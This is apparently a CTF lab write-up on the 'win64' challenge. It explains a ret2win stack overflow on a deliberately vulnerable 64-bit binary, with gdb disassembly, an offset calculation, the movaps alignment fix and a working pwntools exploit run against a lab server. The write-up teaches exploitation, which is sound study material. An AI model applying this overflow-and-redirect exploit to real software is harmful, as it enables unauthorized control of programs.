win64

This is going to be the first time dealing with a 64-bit binary. In the ret2win case, this is not much different than the 32-bit version. In future challenges, we will see that 64-bit binaries become increasingly more difficult than 32-bit binaries, so it's important to have a fundamental understanding of the differences between the two.

Remember that 64-bit binaries pass parameters **via the registers**. The return pointer and base pointer are still stored *on the stack* for later use, just like 32-bit.

Note: *This binary has identical source code to win32, but is compiled for 64-bit.*

Checking Security

As always, we check the security of the binary:

```
$ checksec win64
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments
```

We see that there are no protections on the binary, so ret2win is probably a good solution. Here is where we also notice that the binary is 64-bit, meaning that we have to treat the binary accordingly.

GDB Disassembly

Unsurprisingly, checking the functions list yields us the same result as `win32`:

```
gef➤  info functions
All defined functions:

Non-debugging symbols:
0x0000000000401000  _init
0x0000000000401070  puts@plt
0x0000000000401080  system@plt
0x0000000000401090  gets@plt
0x00000000004010a0  fflush@plt
0x00000000004010b0  _start
0x00000000004010e0  _dl_relocate_static_pie
0x00000000004010f0  deregister_tm_clones
0x0000000000401120  register_tm_clones
0x0000000000401160  __do_global_dtors_aux
0x0000000000401190  frame_dummy
0x0000000000401196  win
```

```
0x00000000004011b5  read_in
0x00000000004011f3  main
0x000000000040121b  usefulGadgets
0x000000000040122c  _fini
```

We're going straight to `read_in` because we know the contents of `win` and `main` aren't really relevant to us.

```
gef➤  disas read_in
Dump of assembler code for function read_in:
   0x00000000004011b5 <+0>: endbr64
   0x00000000004011b9 <+4>: push   rbp
   0x00000000004011ba <+5>: mov    rbp,rsp
   0x00000000004011bd <+8>: sub    rsp,0x30
   0x00000000004011c1 <+12>:    lea    rax,[rip+0xe50]        # 0x402018
   0x00000000004011c8 <+19>:    mov    rdi,rax
   0x00000000004011cb <+22>:    call   0x401070 <puts@plt>
   0x00000000004011d0 <+27>:    mov    rax,QWORD PTR [rip+0x2e71]        #
0x404048 <stdout@GLIBC_2.2.5>
   0x00000000004011d7 <+34>:    mov    rdi,rax
   0x00000000004011da <+37>:    call   0x4010a0 <fflush@plt>
   0x00000000004011df <+42>:    lea    rax,[rbp-0x30]
   0x00000000004011e3 <+46>:    mov    rdi,rax
   0x00000000004011e6 <+49>:    mov    eax,0x0
   0x00000000004011eb <+54>:    call   0x401090 <gets@plt>
   0x00000000004011f0 <+59>:    nop
   0x00000000004011f1 <+60>:    leave
   0x00000000004011f2 <+61>:    ret
```

We see that this is formatted very similar to the `win32` binary, so it shouldn't be that scary.

We see that the same "assembly dance" is happening in this binary. Let's go over this process:

1. We know that `main` performs a `call read_in` to get inside this function. `call` does two things: (1) puts the return pointer, being the instruction after `call`, onto the stack; and (2) jumps to the address of the called function.
2. `push rbp` pushes the old base pointer onto the stack. This is done so that the base pointer can be restored later.
3. `mov rbp, rsp` sets the base pointer to the current stack pointer. This is done so that the base pointer can be used as a reference to the stack.
4. `sub rsp, 0x30` allocates `0x30` bytes on the stack for local variables.

This means that after the assembly dance, our stack should look like this:

```
   |-- rsp
   v
[... | ... 0x30 bytes ... | base pointer | return pointer | ... ]
```

Reviewing the assembly, we notice that there is a call to `puts@plt` and `gets@plt`. `puts` just prints out the "*Can you figure out how to win here?*" to the screen. Let's dive deeper into `gets()` and how it might be different for this architecture.

Inputting in 64-bit

Since this is 64-bit, parameters are passed via the register. We know that `gets()` takes one argument, being the address where our input is stored. We proved last binary that we are writing to the stack.

If we check the last data that was passed to `rdi` before `gets` is called, this is where we write. We find that this line is the last update to `rdi`:

```
0x00000000004011df <+42>:   lea    rax,[rbp-0x30]
0x00000000004011e3 <+46>:   mov    rdi,rax
```

`rdi` is loaded with the address of `rbp-0x30`, meaning this is where we are writing.

Getting the Offset

Getting the offset is the same in 64-bit as 32-bit. Let's put a breakpoint right before the call so we can inspect the stack:

```
gef➤  b *(read_in+54)
gef➤  run
```

Find the address of the return pointer by checking the instruction after the `call` to `read_in`:

```
0x0000000000401200 <+13>:   call   0x4011b5 <read_in>
0x0000000000401205 <+18>:   lea    rax,[rip+0xe30]        # 0x40203c
```

Our return pointer is `0x401205`.

Let's check what's on the stack:

```
gef➤  x/10gx $rsp
0x7fffffffe450: 0x0000000000000000  0x0000000000000000
0x7fffffffe460: 0x0000000000000000  0x0000000000000000
0x7fffffffe470: 0x0000000000000000  0x0000000000000000
0x7fffffffe480: 0x00007fffffffe490  0x0000000000401205
0x7fffffffe490: 0x0000000000000001  0x00007ffff7c29d90
```

We see that the return pointer is there:

```
gef➤  x/gx 0x7fffffffe488
0x7fffffffe488: 0x0000000000401205
```

Checking `rdi` shows us where we will start writing:

```
gef➤  p/x $rdi
$1 = 0x7fffffffe450
```

Let's see how many bytes that we need to write to reach here:

```
$ python3 -c "print(0x7fffffffe488-0x7fffffffe450)"
56
```

This makes sense. We were told that we are writing at `rbp-0x30`, which is `48` bytes from the base pointer, plus we need to add `8` bytes for the old base pointer that was pushed on the stack, totaling `56` bytes.

Let's craft our exploit:

```
from pwn import *

proc = process('./win64')

f_win = 0x401196

payload = b'A' * 56
payload += p64(f_win)

proc.sendline(payload)
proc.interactive()
```

Running this produces the following output:

```
$ python3 exploit.py
[+] Starting local process './win64': pid 20651
[*] Switching to interactive mode
Can you figure out how to win here?
[*] Got EOF while reading in interactive
$
[*] Process './win64' stopped with exit code -11 (SIGSEGV) (pid 20651)
[*] Got EOF while sending in interactive
```

Hmmm. This isn't working. We know this because we reached EOF (end of file) before we got to the interactive shell. Something's not quite right with the payload.

The `movaps` Problem

We can modify our payload to run a `gdb` instance on the binary using our payload to ensure that it executes properly.

```
proc = gdb.debug('./win64', gdbscript=gdbcmds)
```

`gdb.debug` takes the secondary argument of `gdbscript` which is the list of commands you want to run automatically. This allows for rapid debugging by consistently jumping to the same spot in memory. In our case, we set `gdbcmds` to:

```
gdbcmds = '''
b *read_in+54
c
'''
```

This is going to set a breakpoint right before the `gets()` call (which we did manually) and then continue (because a breakpoint is automatically set at `_start()`).

If we reach the end of `read_in`, we notice based on the execution flow that it's intending on going to `win()`:

```
     0x4011eb <read_in+54>     call   0x401090 <gets@plt>
     0x4011f0 <read_in+59>     nop
     0x4011f1 <read_in+60>     leave
 →   0x4011f2 <read_in+61>     ret
   ↳    0x401196 <win+0>          endbr64
        0x40119a <win+4>          push   rbp
        0x40119b <win+5>          mov    rbp, rsp
        0x40119e <win+8>          lea    rax, [rip+0xe63]        # 0x402008
        0x4011a5 <win+15>         mov    rdi, rax
        0x4011a8 <win+18>         mov    eax, 0x0
```

Using `ni`, we see that the program successfully makes it to `win()`. Our payload successfully takes us to the right place! If we continue execution to let it print the flag, we see that it segfaults:

```
[#0] Id 1, Name: "win64", stopped 0x7fc438850963 in __sigemptyset (),
reason: SIGSEGV
```

We notice that it stops on the `movaps` instruction inside of `do_system`:

```
 → 0x7fc438850963 <do_system+115>  movaps XMMWORD PTR [rsp], xmm1
```

From the call trace, we see that this is called from `win()` calling `system()`, as expected:

```
[#0] 0x7fc438850963 → __sigemptyset(set=<optimized out>)
[#1] 0x7fc438850963 → do_system(line=0x402008 "cat flag.txt")
[#2] 0x4011b2 → win()
```

This is known as the **`movaps` fault**. This happens because `movaps` expects the stack to be `16-byte` aligned. However, we diverted execution away from the standard execution flow, so there's no guarantee that the stack is aligned. Furthermore, we are writing `56` bytes to the stack, which is not a multiple of `16`. This means that the stack is not aligned, and `movaps` will segfault.

How can we fix this? We can add `8` bytes to the payload, which will make it `64` bytes (which is a multiple of `16`). The standard solution for this is to *divert to another return*, which will effectively add `8` bytes to the payload and not affect with the rest of execution. Let's find another `ret` to divert to. It doesn't matter which you pick, I randomly chose the one inside `deregister_tm_clones`:

```
gef➤  disas deregister_tm_clones
Dump of assembler code for function deregister_tm_clones:
   0x00000000004010f0 <+0>: mov    eax,0x404048
   0x00000000004010f5 <+5>: cmp    rax,0x404048
   0x00000000004010fb <+11>:    je     0x401110 <deregister_tm_clones+32>
   0x00000000004010fd <+13>:    mov    eax,0x0
   0x0000000000401102 <+18>:    test   rax,rax
   0x0000000000401105 <+21>:    je     0x401110 <deregister_tm_clones+32>
   0x0000000000401107 <+23>:    mov    edi,0x404048
   0x000000000040110c <+28>:    jmp    rax
   0x000000000040110e <+30>:    xchg   ax,ax
   0x0000000000401110 <+32>:    ret
```

The address of this return is `0x401110`. Let's add this to our payload:

```
from pwn import *

proc = process('./win64')

g_ret = 0x401110
f_win = 0x401196

payload = b'A' * 56
payload += p64(g_ret)
payload += p64(f_win)

proc.sendline(payload)
proc.interactive()
```

You'll notice that I label my variables based on what they are. `f` variables are functions, `g` variables are gadgets. More on what gadgets are when we get to ROP.

Running this:

```
$ python3 exploit.py
[+] Starting local process './win64': pid 21192
[*] Switching to interactive mode
Can you figure out how to win here?
cat: flag.txt: No such file or directory
[*] Got EOF while reading in interactive
$
[*] Process './win64' stopped with exit code -11 (SIGSEGV) (pid 21192)
[*] Got EOF while sending in interactive
```

`cat flag.txt` is called! Let's run this against the remote server:

```
$ python3 exploit.py
[+] Opening connection to vunrotc.cole-ellis.com on port 1200: Done
[*] Switching to interactive mode
Can you figure out how to win here?
flag{not_so_different_yet_is_it}
[*] Got EOF while reading in interactive
$
[*] Interrupted
[*] Closed connection to vunrotc.cole-ellis.com port 1200
```

And we have our flag!